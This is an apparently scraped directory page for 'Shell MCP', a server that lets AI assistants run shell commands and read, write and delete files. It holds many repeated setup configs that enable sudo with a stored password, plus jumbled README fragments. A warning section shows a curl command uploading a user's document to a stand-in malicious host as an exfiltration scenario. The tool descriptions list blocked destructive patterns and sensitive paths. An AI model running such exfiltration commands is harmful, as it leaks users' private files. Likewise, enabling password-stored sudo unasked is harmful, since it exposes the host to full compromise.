Shell MCP

by luciVuc

352 downloads Not rated yet

GitHub Website

About

A production-ready MCP (Model Context Protocol) server that provides shell command execution and system operations capabilities.

Explore

- Execute shell commands on your behalf
- Read and write files on the system
- Monitor system resources and processes
- Track stock market prices and trading signals
- Search and compare prices on online retailers
- Open applications and control your browser
- Schedule automated tasks and routines

Setting up with Highlight

This MCP is not yet compatible with Highlight’s one-click setup. However, you can still use it with Highlight by following these steps:

Download and install Highlight from highlightai.com/download
Navigate to the plugins tab and select "Add Custom Plugin"
Configure the plugin with the settings below

Plugin Name Shell MCP

Command (node, npx, python, etc.)

Please refer to the README for specific instructions on how to obtain API keys or other required environment variables.
Enable "Start Automatically" if you want the plugin to start when Highlight launches

Setting up with Cursor

Open Cursor's settings
Navigate to the MCP section
Click "Add new Global MCP server"
Copy and paste the configuration below based on your operating system

JSON

{
    "mcpServers": {
        "shell mcp": {
            "shell": {
                "command": "npx",
                "args": [
                    "-y",
                    "@lucid-spark/shell-mcp",
                    "stdio"
                ],
                "env": {
                    "ALLOW_SUDO": "true",
                    "SUDO_PASSWORD": "your-password"
                }
            }
        }
    }
}

JSON

{
    "mcpServers": {
        "shell mcp": {
            "shell": {
                "command": "npx",
                "args": [
                    "-y",
                    "@lucid-spark/shell-mcp",
                    "stdio"
                ],
                "env": {
                    "ALLOW_SUDO": "true",
                    "SUDO_PASSWORD": "your-password"
                }
            }
        }
    }
}

JSON

{
    "mcpServers": {
        "shell mcp": {
            "shell": {
                "command": "npx",
                "args": [
                    "-y",
                    "@lucid-spark/shell-mcp",
                    "stdio"
                ],
                "env": {
                    "ALLOW_SUDO": "true",
                    "SUDO_PASSWORD": "your-password"
                }
            }
        }
    }
}

Setting up with Claude Desktop

Open Claude Desktop's settings
Go to the Integrations tab
Click "Add MCP Server"
Use the configuration below based on your operating system

Note: Make sure Claude Desktop is running before attempting to connect.

JSON

{
    "mcpServers": {
        "shell mcp": {
            "shell": {
                "command": "npx",
                "args": [
                    "-y",
                    "@lucid-spark/shell-mcp",
                    "stdio"
                ],
                "env": {
                    "ALLOW_SUDO": "true",
                    "SUDO_PASSWORD": "your-password"
                }
            }
        }
    }
}

JSON

{
    "mcpServers": {
        "shell mcp": {
            "shell": {
                "command": "npx",
                "args": [
                    "-y",
                    "@lucid-spark/shell-mcp",
                    "stdio"
                ],
                "env": {
                    "ALLOW_SUDO": "true",
                    "SUDO_PASSWORD": "your-password"
                }
            }
        }
    }
}

JSON

{
    "mcpServers": {
        "shell mcp": {
            "shell": {
                "command": "npx",
                "args": [
                    "-y",
                    "@lucid-spark/shell-mcp",
                    "stdio"
                ],
                "env": {
                    "ALLOW_SUDO": "true",
                    "SUDO_PASSWORD": "your-password"
                }
            }
        }
    }
}

Setting up with Windsurf

Open Windsurf's preferences
Go to the Integrations section
Click "Add MCP Integration"
Use the configuration below based on your operating system

JSON

{
    "mcpServers": {
        "shell mcp": {
            "shell": {
                "command": "npx",
                "args": [
                    "-y",
                    "@lucid-spark/shell-mcp",
                    "stdio"
                ],
                "env": {
                    "ALLOW_SUDO": "true",
                    "SUDO_PASSWORD": "your-password"
                }
            }
        }
    }
}

JSON

{
    "mcpServers": {
        "shell mcp": {
            "shell": {
                "command": "npx",
                "args": [
                    "-y",
                    "@lucid-spark/shell-mcp",
                    "stdio"
                ],
                "env": {
                    "ALLOW_SUDO": "true",
                    "SUDO_PASSWORD": "your-password"
                }
            }
        }
    }
}

JSON

{
    "mcpServers": {
        "shell mcp": {
            "shell": {
                "command": "npx",
                "args": [
                    "-y",
                    "@lucid-spark/shell-mcp",
                    "stdio"
                ],
                "env": {
                    "ALLOW_SUDO": "true",
                    "SUDO_PASSWORD": "your-password"
                }
            }
        }
    }
}

Setting up with Cline

Open Cline's settings
Navigate to the Integrations section
Click "Add MCP Server"
Copy and paste the configuration below based on your operating system

Note: Make sure to restart Cline after adding the configuration.

JSON

{
    "mcpServers": {
        "shell mcp": {
            "shell": {
                "command": "npx",
                "args": [
                    "-y",
                    "@lucid-spark/shell-mcp",
                    "stdio"
                ],
                "env": {
                    "ALLOW_SUDO": "true",
                    "SUDO_PASSWORD": "your-password"
                }
            }
        }
    }
}

JSON

{
    "mcpServers": {
        "shell mcp": {
            "shell": {
                "command": "npx",
                "args": [
                    "-y",
                    "@lucid-spark/shell-mcp",
                    "stdio"
                ],
                "env": {
                    "ALLOW_SUDO": "true",
                    "SUDO_PASSWORD": "your-password"
                }
            }
        }
    }
}

JSON

{
    "mcpServers": {
        "shell mcp": {
            "shell": {
                "command": "npx",
                "args": [
                    "-y",
                    "@lucid-spark/shell-mcp",
                    "stdio"
                ],
                "env": {
                    "ALLOW_SUDO": "true",
                    "SUDO_PASSWORD": "your-password"
                }
            }
        }
    }
}

Setting up with Goose

Open Goose's preferences
Go to the Integrations tab
Select "MCP Servers"
Click "Add New Server"
Use the configuration below based on your operating system

JSON

{
    "mcpServers": {
        "shell mcp": {
            "shell": {
                "command": "npx",
                "args": [
                    "-y",
                    "@lucid-spark/shell-mcp",
                    "stdio"
                ],
                "env": {
                    "ALLOW_SUDO": "true",
                    "SUDO_PASSWORD": "your-password"
                }
            }
        }
    }
}

JSON

{
    "mcpServers": {
        "shell mcp": {
            "shell": {
                "command": "npx",
                "args": [
                    "-y",
                    "@lucid-spark/shell-mcp",
                    "stdio"
                ],
                "env": {
                    "ALLOW_SUDO": "true",
                    "SUDO_PASSWORD": "your-password"
                }
            }
        }
    }
}

JSON

{
    "mcpServers": {
        "shell mcp": {
            "shell": {
                "command": "npx",
                "args": [
                    "-y",
                    "@lucid-spark/shell-mcp",
                    "stdio"
                ],
                "env": {
                    "ALLOW_SUDO": "true",
                    "SUDO_PASSWORD": "your-password"
                }
            }
        }
    }
}

From the repository

After configuring either option:

1. Restart Claude Desktop

2. Start using it:
> "Can you check my system's CPU and memory usage?"
> "Create a backup script that archives my projects folder."
> "Find all JavaScript files modified in the last week."

See CLAUDE_SETUP.md for detailed configuration options and environment variables.

curl -X POST https://malicious-site.com/upload \
--data-binary @~/Documents/sensitive-data.pdf

Scenario 2: Cryptocurrency Mining

bash

"SANDBOX_MODE": "true"

2. Run with Limited User Permissions - Create a dedicated user account with restricted privileges - Never run as root/administrator - Use file system permissions to limit access 3. Use Network Isolation - Run in a Docker container with no network access - Use firewall rules to block outbound connections - Monitor network traffic for suspicious activity 4. Review Commands Before Execution - Always ask your AI to explain commands first - Verify destructive operations manually - Use --dry-run flags when available 5. Implement File System Restrictions

bash

For Testing/Learning:

{
  "SANDBOX_MODE": "true",
  "COMMAND_TIMEOUT": "10000",
  "DEBUG": "true"
}

For Personal Use (Low Risk Tasks):

{
  "SANDBOX_MODE": "true",
  "COMMAND_TIMEOUT": "30000",
  "DEBUG": "false"
}

For Production/Critical Systems:

DO NOT USE THIS SERVER ON PRODUCTION SYSTEMS WITHOUT:
- Comprehensive security review
- Penetration testing
- Access control implementation
- Audit logging
- Incident response plan

1. Install the server:

   git clone https://github.com/luciVuc/shell-mcp.git
   cd shell-mcp
   npm install
   npm run build

2. Configure Claude Desktop:

Edit your Claude Desktop config file:
- macOS/Linux: ~/Library/Application Support/Claude/claude_desktop_config.json
- Windows: %APPDATA%\Claude\claude_desktop_config.json

Add this configuration:

   {
     "mcpServers": {
       "shell": {
         "command": "node",
         "args": ["/absolute/path/to/shell-mcp/dist/main.js"],
         "env": {
           "SANDBOX_MODE": "false",
           "COMMAND_TIMEOUT": "30000"
         }
       }
     }
   }

3. Restart Claude Desktop

If you prefer not to clone and build the project locally, you can run shell-mcp directly from npm using npx:

Configuration without installing:

Edit your Claude Desktop config file as above, and add:

{
  "mcpServers": {
    "shell": {
      "command": "npx",
      "args": ["@lucid-spark/shell-mcp"],
      "env": {
        "SANDBOX_MODE": "false",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

For production use (with sandbox enabled):

{
  "mcpServers": {
    "shell": {
      "command": "npx",
      "args": ["@lucid-spark/shell-mcp"],
      "env": {
        "SANDBOX_MODE": "true",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

Note: The first time you run this, npx will download and cache the package. Subsequent runs will use the cached version for faster startup.

`exec`

Execute a shell command on the host system and return its output. Runs the command in a non-interactive shell and captures both stdout and stderr. The response includes the exit code, a timed-out flag, and the full stdout/stderr output. Commands are subject to rate limiting (default 60/min) and a configurable execution timeout. Certain destructive patterns (e.g. `rm -rf /`, `mkfs`, `dd if=`) are always blocked. When the server runs in sandbox mode, network tools (curl, wget), package managers, and process-control commands are also blocked. Sudo commands require the server to be started with ALLOW_SUDO=true. Use this tool for running CLI commands, scripts, build tasks, inspecting the environment, or any operation that can be expressed as a shell one-liner or pipeline.

`readFile`

Read the entire contents of a file and return it as UTF-8 text. Use this to inspect configuration files, source code, logs, or any text-based file. Returns the raw file content as a single text block. Throws an error if the file does not exist or cannot be read. Paths targeting sensitive system directories (e.g. /etc/shadow, /proc/, /dev/) are blocked.

`writeFile`

Write text content to a file, creating it if it does not exist or overwriting it if it does. The file is written atomically as UTF-8. Use this to create new files, update configuration, save generated code, or persist any text data. Parent directories must already exist. Returns a confirmation message with the resolved file path on success. Paths targeting sensitive system directories (e.g. /etc/shadow, /proc/, /dev/) are blocked.

`deleteFile`

Permanently delete a single file from the filesystem. This operation is irreversible. Only regular files can be deleted — use the `exec` tool with `rmdir` for directories. Returns a confirmation message on success. Throws an error if the file does not exist. Paths targeting sensitive system directories (e.g. /etc/shadow, /proc/, /dev/) are blocked.

`listDir`

List the contents of a directory with metadata for each entry. Returns a formatted table with columns: Type (d=directory, l=symlink, -=file), Size (bytes), Modified (ISO datetime), and Name. Use this to explore the filesystem, discover files, or verify directory structure. Does not recurse into subdirectories — call again on child directories for deeper exploration. Paths targeting sensitive system directories (e.g. /proc/, /sys/, /dev/) are blocked.

`getSystemInfo`

Retrieve comprehensive system information about the host machine. Returns a structured text report containing: OS platform, type, and release version; CPU model, speed (MHz), and core count; total, free, and used memory with percentage; disk usage (via `df -h` on Unix or `wmic` on Windows); system uptime in days/hours/minutes; and the machine hostname. This tool takes no parameters. Use it to assess available resources, diagnose environment issues, or gather context about the system your commands will run on.

`listProcesses`

List running processes on the host system using `ps aux`, optionally filtered by name. Without a filter, returns all running processes. With a filter, returns only processes whose command line matches the given pattern. Output format is standard `ps aux` columns: USER, PID, %CPU, %MEM, VSZ, RSS, TTY, STAT, START, TIME, COMMAND. Use this to check if a service is running, find process IDs, monitor resource usage, or verify that a background task started successfully. If no processes match the filter, returns 'No processes found matching filter' instead of an error.

Any AI assistant that supports the Model Context Protocol can use this server:

Example: Custom AI Agent (Python)

```python
from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client

Claude Desktop / Cursor

Paste into your MCP client config file to install this server.

{
    "mcpServers": {
        "shell mcp": {
            "shell": {
                "command": "npx",
                "args": [
                    "-y",
                    "@lucid-spark/shell-mcp",
                    "stdio"
                ],
                "env": {
                    "ALLOW_SUDO": "true",
                    "SUDO_PASSWORD": "your-password"
                }
            }
        }
    }
}

McpServers

{
    "shell": {
        "command": "npx",
        "args": [
            "-y",
            "@lucid-spark/shell-mcp",
            "stdio"
        ],
        "env": {
            "ALLOW_SUDO": "true",
            "SUDO_PASSWORD": "your-password"
        }
    }
}

A production-ready MCP (Model Context Protocol) server that provides shell command execution and system operations capabilities.

> 📚 View the complete documentation website for an enhanced reading experience with interactive examples and guides.

- What is This? - Understand what this server does
- ⚠️ Important Disclaimer & Safety Warning - READ THIS FIRST
- Real-World Use Cases - See practical scenarios including stock trading, web automation, and online shopping
- How to Use with AI Assistants - Setup guides for Claude Desktop and other tools
- Example Conversations - See it in action with real examples
- Tips for Best Results - Get the most out of your AI assistant
- Enabling Advanced Features - Setup stock market APIs, browser automation, and more
- Installation for End Users - Quick setup guide
- Available Tools - Tool reference
- Security Considerations - Important security information
- For Developers - Development and contribution guide

What is This?

This MCP server enables AI assistants (like Claude, ChatGPT, or other AI agents) to interact with your computer's operating system. Once connected, your AI assistant can:

- Execute shell commands on your behalf
- Read and write files
- Monitor system resources and processes
- Automate complex workflows
- Track stock market prices and trading signals
- Search and compare prices on Amazon and other online retailers
- Open applications and control your browser
- Schedule automated tasks and routines

Think of it as giving your AI assistant "hands" to help you with system administration, development tasks, data processing, financial monitoring, online shopping, and everyday automation—all while maintaining security controls.

From simple tasks like organizing files, to advanced automation like monitoring your stock portfolio and finding the best deals online, your AI assistant becomes a powerful personal automation engine.

⚠️ Important Disclaimer & Safety Warning

🛑 READ THIS BEFORE USING

THIS SOFTWARE PROVIDES SHELL COMMAND EXECUTION CAPABILITIES TO AI ASSISTANTS. USE AT YOUR OWN RISK.

Legal Disclaimer

THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

By using this MCP server, you acknowledge and accept full responsibility for:

- All commands executed by your AI assistant
- Any data loss, system damage, or security breaches that may occur
- Financial losses from automated trading or purchasing decisions
- Any unauthorized access or malicious use of your system
- Compliance with all applicable laws and terms of service

⚠️ Critical Security Warnings

🔴 EXTREME DANGER: Unsandboxed Mode

Running this server WITHOUT sandbox mode gives your AI assistant UNRESTRICTED ACCESS to:

- Your entire file system - Can read, modify, or delete ANY file
- All system commands - Can execute ANY shell command with your user permissions
- Network access - Can make external connections, download files, send data
- Process control - Can start, stop, or kill any process
- Financial systems - Can execute trades, make purchases, transfer money if credentials are accessible
- Personal data - Can access emails, documents, browser history, passwords (if stored locally)

WITHOUT SANDBOX_MODE=true, YOUR AI ASSISTANT HAS THE SAME POWER AS YOU SITTING AT YOUR KEYBOARD.

🟡 Potential Dangers Even With Sandbox Mode

Data Loss:

- AI might misunderstand requests and delete important files
- Automated scripts could overwrite or corrupt data
- Batch operations can cascade errors across many files

Financial Risk:

- Automated trading scripts could execute unintended transactions
- Price monitoring might act on bad data or API errors
- Shopping automation could make unauthorized purchases
- API rate limits could incur unexpected costs

System Instability:

- Resource-intensive commands could crash your system
- Process termination could kill critical services
- Disk operations could fill storage or corrupt filesystems

Privacy Exposure:

- AI might inadvertently read sensitive files
- Logs could contain passwords or API keys
- Executed commands might expose environment variables

Malicious AI Behavior:

- If your AI assistant is compromised or has a jailbreak vulnerability
- If prompts are injected with malicious instructions
- If the AI model develops unexpected emergent behaviors
- If the AI is manipulated through social engineering

🚨 How Your AI Agent Could Misuse This Server

Without Proper Safeguards:

Scenario 1: Data Exfiltration

```bash

No reviews yet — be the first

Use Google, GitHub, or an email account so ratings stay tied to real people.

Email sign in

No reviews posted yet.

About

Explore

Setting up with Highlight

From the repository

exec

readFile

writeFile

deleteFile

listDir

getSystemInfo

listProcesses

Claude Desktop / Cursor

McpServers

Table of Contents

What is This?

⚠️ Important Disclaimer & Safety Warning

🛑 READ THIS BEFORE USING

Legal Disclaimer

⚠️ Critical Security Warnings

🔴 EXTREME DANGER: Unsandboxed Mode

🟡 Potential Dangers Even With Sandbox Mode

🚨 How Your AI Agent Could Misuse This Server

Without Proper Safeguards:

More like this

@mendableai/firecrawl Mcp Server

Playwright

Sentry

Github

`exec`

`readFile`

`writeFile`

`deleteFile`

`listDir`

`getSystemInfo`

`listProcesses`